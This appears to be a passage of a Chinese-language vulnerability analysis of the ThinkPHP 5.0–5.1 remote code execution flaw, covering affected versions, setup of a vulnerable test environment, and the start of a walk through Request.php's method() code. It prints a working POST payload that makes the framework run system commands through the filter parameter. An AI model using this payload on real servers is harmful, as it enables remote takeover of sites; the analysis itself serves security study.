前言
漏洞存在版本,分为两大版本:
-
ThinkPHP 5.0-5.0.24
-
ThinkPHP 5.1.0-5.1.30
环境搭建
composer create-project topthink/think=5.0.5 thinkphp5.0.5 --prefer-dist
修改composer.json
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.5"
},
执行composer update
访问public/index.php
漏洞分析
payload:
_method=__construct&method=get&filter[]=system&get[]=whoami
在thinkphp/library/think/Request.php中的method方法里面
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this